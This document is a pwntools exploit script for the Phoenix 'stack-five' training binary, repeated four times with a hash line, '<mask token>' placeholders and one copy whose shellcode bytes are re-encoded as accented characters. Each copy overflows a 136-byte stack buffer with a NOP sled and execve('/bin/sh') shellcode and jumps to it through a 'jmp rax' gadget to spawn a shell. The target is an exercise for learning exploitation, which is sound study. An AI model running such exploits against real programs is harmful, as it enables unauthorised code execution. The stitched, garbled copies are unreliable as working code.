from pwn import *

bufsize = 136

# 0x0000000000400481: jmp rax;
rop = p64(0x0000000000400481)

shellcode = '\xba\x00\x00\x00\x00\xbe\x00\x00\x00\x00H\x8d=\x07\x00\x00\x00\xb8;\x00\x00\x00\x0f\x05/bin/sh\x00'

payload = "\x90" * (bufsize - len(shellcode)) + shellcode + rop
r = process("/opt/phoenix/amd64/stack-five")
r.recvuntil("\n")
r.sendline(payload)
r.interactive()

7e8764d79ce9c03130231ba7bb1c98c1c5ebed18
<mask token>

<mask token>
r.recvuntil('\n')
r.sendline(payload)
r.interactive()

<mask token>
bufsize = 136
rop = p64(4195457)
shellcode = (
    'º\x00\x00\x00\x00¾\x00\x00\x00\x00H\x8d=\x07\x00\x00\x00¸;\x00\x00\x00\x0f\x05/bin/sh\x00'
    )
payload = '\x90' * (bufsize - len(shellcode)) + shellcode + rop
r = process('/opt/phoenix/amd64/stack-five')
r.recvuntil('\n')
r.sendline(payload)
r.interactive()

from pwn import *
bufsize = 136
rop = p64(4195457)
shellcode = (
    'º\x00\x00\x00\x00¾\x00\x00\x00\x00H\x8d=\x07\x00\x00\x00¸;\x00\x00\x00\x0f\x05/bin/sh\x00'
    )
payload = '\x90' * (bufsize - len(shellcode)) + shellcode + rop
r = process('/opt/phoenix/amd64/stack-five')
r.recvuntil('\n')
r.sendline(payload)
r.interactive()

from pwn import *

bufsize = 136

# 0x0000000000400481: jmp rax;
rop = p64(0x0000000000400481)

shellcode = '\xba\x00\x00\x00\x00\xbe\x00\x00\x00\x00H\x8d=\x07\x00\x00\x00\xb8;\x00\x00\x00\x0f\x05/bin/sh\x00'

payload = "\x90" * (bufsize - len(shellcode)) + shellcode + rop
r = process("/opt/phoenix/amd64/stack-five")
r.recvuntil("\n")
r.sendline(payload)
r.interactive()
